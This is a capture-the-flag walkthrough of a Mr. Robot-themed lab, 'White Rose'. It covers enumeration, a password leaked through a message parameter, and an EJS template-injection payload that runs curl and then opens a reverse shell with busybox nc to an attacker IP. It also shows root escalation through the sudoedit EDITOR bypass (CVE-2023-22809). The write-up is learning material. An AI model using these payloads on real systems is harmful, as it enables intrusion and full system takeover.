White Rose
Introduction
This challenge is based on the Mr. Robot episode "409 Conflict". Contains spoilers!
You'll need the following credentials: Olivia Cortez:olivi8
Initial Enumeration
export TARGET_IP=10.10.213.165
nmap -p- -Pn --min-rate 5000 $TARGET_IP
Not shown: 65304 closed tcp ports (reset), 229 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Trying to access 10.10.213.165
, we are redirected to cyprusbank.thm
.
10.10.213.165 cyprusbank.thm
Once you visit cyprusbank.thm
, you see a maintenance message.
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://cyprusbank.thm/ -H "Host: FUZZ.$TARGET_IP" -fw 1 57
admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 535ms]
Adding admin.cyprusbank.thm
to /etc/hosts
:
10.10.213.165 cyprusbank.thm admin.cyprusbank.thm
Navigating to admin.cyprusbank.thm
, we find limited access. However, /messages
reveals hints about users, and modifying the ?c=
parameter exposes hidden messages, revealing Gayle Bev
's password: p~]P@5!6;rs558:q
.
A POST
request to /settings
(without the password
parameter) results in a 500 Internal Server Error
, exposing the following:
ReferenceError: /home/web/app/views/settings.ejs:14
Exploitation
This suggests Server-Side Template Injection (SSTI) in EJS. We leverage an exploit from: EJS SSTI RCE.
Testing for Code Execution
Set up a listener:
nc -lvnp 6666
Send a payload:
name=test&password=test&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl 10.2.17.44:6666');s
If successful, we receive:
connect to [10.2.17.44] from (UNKNOWN) [10.10.86.168] 48210
GET / HTTP/1.1
Host: 10.2.17.44:6666
User-Agent: curl/7.58.0
Accept: */*
Gaining a Reverse Shell
Intercept a POST
request to /settings
using Burp Suite and modify it:
POST /settings HTTP/1.1
Host: admin.cyprusbank.thm
Content-Length: 19
...
name=test&password=test&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("busybox nc 10.2.17.44 6666 -e sh");s
Now, we have shell access:
id # uid=1001(web) gid=1001(web) groups=1001(web)
Sanitize:
script /dev/null -c bash
# CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty size # Check what you use normally
stty rows <ROWS> columns <COLUMNS>
Privilege Escalation
Checking sudo
privileges:
sudo -l
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
We exploit CVE-2023-22809 (Sudoedit Bypass) to edit sudoers
.
export EDITOR="vi -- /etc/sudoers"
sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
Inside vi
, add:
web ALL=(root) NOPASSWD: ALL
Save and exit, then escalate:
sudo su
id # uid=0(root) gid=0(root) groups=0(root)
Explanation
The "--"
in export EDITOR="vi -- /etc/sudoers"
is crucial because of how sudoedit
processes the EDITOR
environment variable. Here's why it works:
-
Sudoedit's Behavior:
sudoedit
allows users to edit specific files as root but enforces security by only allowing the specified file(s) to be edited.- It retrieves the editor from
EDITOR
,VISUAL
, orSUDO_EDITOR
environment variables.
-
Argument Splitting &
--
Usage:- The function
resolve_editor()
insudo
parses the editor command and arguments. - Normally, it treats everything after the first word as part of the command itself.
- However, using
"--"
forcessudoedit
to interpret anything after it as file arguments rather than editor options.
- The function
-
Exploitation:
- By setting
EDITOR="vi -- /etc/sudoers"
, we manipulate howsudoedit
interprets its arguments. - Instead of just opening the intended file (
/etc/nginx/sites-available/admin.cyprusbank.thm
), it treats/etc/sudoers
as a legitimate file for editing. - This allows us to modify
/etc/sudoers
, granting us full root privileges.
- By setting
This bypass works because sudoedit
expects a single valid editor binary but allows additional arguments due to --
. It’s an unintended consequence of argument parsing within resolve_editor()
.